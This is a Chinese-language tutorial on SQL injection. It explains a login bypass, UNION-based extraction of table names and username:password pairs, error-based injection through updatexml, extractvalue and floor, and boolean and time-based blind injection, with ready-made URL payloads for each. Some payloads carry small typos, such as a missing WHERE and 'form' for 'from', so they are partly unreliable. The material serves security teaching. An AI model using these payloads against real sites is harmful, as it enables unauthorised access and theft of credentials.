SQL注入基础

注入漏洞(Injection)是TOP 10漏洞其中之一,攻击者可通过注入恶意代码操控系统,常见的就有SQL注入,它的目标通常是:窃取敏感数据;绕过身份验证;查询、修改或修改数据库中的内容;执行系统命令等。

1. SQL注入的原理

原理:当Web应用程序对用户可控的输入缺乏验证和过滤时,攻击者可以在输入字段中插入SQL代码,后端程序将用户可控的输入直接拼接到SQL查询语句中,没有进行任何过滤或转义,导致恶意SQL代码将被数据库服务器执行。(这样攻击者就可以通过SQL注入来查询、修改或删除数据库中的数据,或执行系统命令。)

  • 一般情况下,用户在正常登录网站时,通常会输入账号和密码,在此过程中会执行像下面一样的SQL查询代码:

    1
    SELECT * FROM users WHERE username = 'user' AND password = 'password';
  • 但是如果Web程序对用户输入没有任何限制的话用户可以输入:

    1
    2
    用户名: admin' --+
    密码: anything
  • 上面的输入导致SQL查询代码变成:

    1
    SELECT * FROM users WHERE username = 'admin' --+ ' AND password = 'password';
  • --+是SQL的注释符号我们输入的admin'其中的'与前面的引号闭合,之后的内容又被我们注释掉,从而导致忽略了密码条件,直接绕过了身份验证。

2. 常见的SQL注入

2.1 UNION联合注入


联合注入是最直接最高效的注入方式,但是它需要一个前提,即注入结果能在页面中直接回显。(在Web页面中显示出来。)

  • 原理:利用了SQL的UNION操作符,UNION用于合并两个或者多个SELECT语句的结果集,攻击者构建一个UNION SELECT语句,将自己想查询的数据(例如管理员密码)和应用程序原本的查询结果拼接在一起一并返回到页面上显示。

  • 利用步骤:

    1. 判断列数:使用ORDER BY子句。ORDER BY 1(按第一列排序),ORDER BY 2… 递增数字直到页面报错,报错前的数字就是查询结果的列数。

      • 例如:?id=1' ORDER BY 5--+如果页面正常,ORDER BY 6--+页面报错,说明有5列。
    2. 判断回显位:使用UNION SELECT 1,2,3,4,5 --+(注意将原查询设为负值或不存在,以使联合查询结果单独显示)。假设页面中显示了 24,那么回显位就是第2和第4列。

    3. 获取数据:将回显位替换为我们想要的查询语句。

      • 例如:

        1. 获取当前数据库:

          1
          ?id=-1' UNION SELECT 1, database(), 3, version(), 5--+
        2. 获取当前表名:

          1
          ?id=-1' UNION SELECT 1, group_concat(table_name), 3, 4, 5 FROM information_schema.tables WHERE table_schema=database()--+
        3. 获取字段名:

          1
          ?id=-1' UNION SELECT 1, group_concat(column_name), 3, 4, 5 FROM information_schema.columns table_name='users'--+
        4. 获取数据:

          1
          ?id=-1' UNION SELECT 1, concat(username, ':', password),3 ,4 ,5 FROM users--+

2.2 报错注入

当一个页面没有直接的回显位,但是会返回报错信息的情况下就可以使用报错注入。攻击者故意制造一个数据库错误,并让错误信息中包含我们想查询的数据。

  • 原理:利用数据库函数执行错误。将子查询的结果作为参数传递给一些特殊的函数(例如:updatexml()extractvalue()),由于参数的格式不正确,数据库就会报错,并将子查询的结果一起返回在错误信息中。

  • 常用函数与示例

    1. updatexml()

      • 通用格式:updatexml(1, concat(0x7e, (你想要查询的语句), 0x7e), 1)

      • 示例:获取当前数据库名字

        1
        ?id=-1' AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)--+
        • 解释:其中1用来占用函数的参数位,concat()函数可以将参数拼接,0x7e时十六进制的'~',所以最终的报错信息可能为:XPATH syntax error: '~database_name~'
    2. extractvalue()

      • 通用格式:extractvaule(1, concat(0x7e, (你想要查询的语句), 0x7e))

      • 示例:获取当前数据库用户

        1
        ?id=-1' AND extractvalue(1, concat(0x7e, (SELECT user()), 0x7e))--+
        • 最终的报错信息可能为:XPATH syntax error: '~root@localhost~'
    3. floor()(主键重复错误)

      • 通用格式:AND (select 1 form (select count(*), concat((你想要查询的语句), floor(rand(0)*2)) as x from information_schema.tables group by x) as y)

      • 示例:获取数据库版本

        1
        ?id=1' AND (select 1 from (select count(*), concat(version(), floor(rand(0)*2)) as x from information_schema.tables group by x) as y) --+
        • 报错信息可能为:Duplicate entry '8.0.28-0ubuntu0.20.04.31' for key 'group_key'

2.3 盲注

2.3.1 布尔盲注

如果当前页面没有回显也没有报错信息,但是归根据查询条件True或者False而返回不同页面状态时使用(例如,查询正确时页面正常,错误时页面异常,或者只是返回“存在/不存在”)。

  • 原理:通过构造逻辑判断语句(如ADN 1=1AND 1=2),根据页面返回的结果差异,一位一位的获取数据。

  • 利用步骤(以获取数据库名第一位字符为例):

    1. 判断数据库名长度:

      1
      ?id=1' AND length(database()) = 10 --+

      观察页面返回是否正常,从而判断数据库名是否是10字符。

    2. 诸位猜解数据:(使用substr()mid()等函数)

      • 判断第一个字符是否为's'(通过ASCII码):

        1
        ?id=1' AND ascii(substr(database(), 1, 1)) = 115--+
        • 解释:substr()函数用于从字符串中提取子字符串,它可以从指定位置开始截取指定长度的字符串,substr(database(), 1, 1)即从数据库名的第一个字符截取一个字符。
      • 如果页面返回正常,说明第一个字符的ASCII码是115,即字母 's'

      • 然后继续判断第二个字符:

        1
        ?id=1' AND ascii(substr(database(), 2, 1)) = 101 --+

        以此类推。

2.3.2 时间盲注

当页面无论输入什么,返回的页面看起来都完全相同,无法通过内容进行真假判断时使用。

  • 原理:基于布尔盲注的原理,但通过数据库延时函数(如MySQL的 sleep()),根据页面响应时间长短来判断条件真假。如果条件为真,则执行睡眠,页面响应时间会比变长。

  • 利用步骤:

    1. 判断是否存在时间注入:

      1
      ?id=-1' AND sleep(5)--+

      如果页面响应的时间大约为5秒,说明sleep()函数被执行,存在注入。

    2. 逐位猜解数据:

      • 判断第一个字符的ASCII码是否大于100:

        1
        ?id=-1' AND if(ascii(substr(database(),1 ,1)) > 100, sleep(5), 0)--+
        • 这里简单说一下if()函数的几个参数的含义:if(条件表达式, 值1, 值2)即判断表达式内容,如果是True就返回值1,如果是False则返回值2。
      • 如果页面延迟了5秒才返回,说明条件为真(第一个字符的ASCII码>100)。然后通过二分法等技巧逐步缩小范围,最终确定字符。

3. 总结对比

注入形式 适用场景 原理 效率
联合查询注入 页面有数据回显 使用 UNION直接追加查询结果 极高
报错注入 页面显示数据库错误信息 故意触发错误,使错误信息携带数据
布尔盲注 页面无回显,但真假状态不同 通过页面状态差异进行逻辑判断 极低
时间盲注 页面无任何差异 通过响应时间差异进行逻辑判断 最低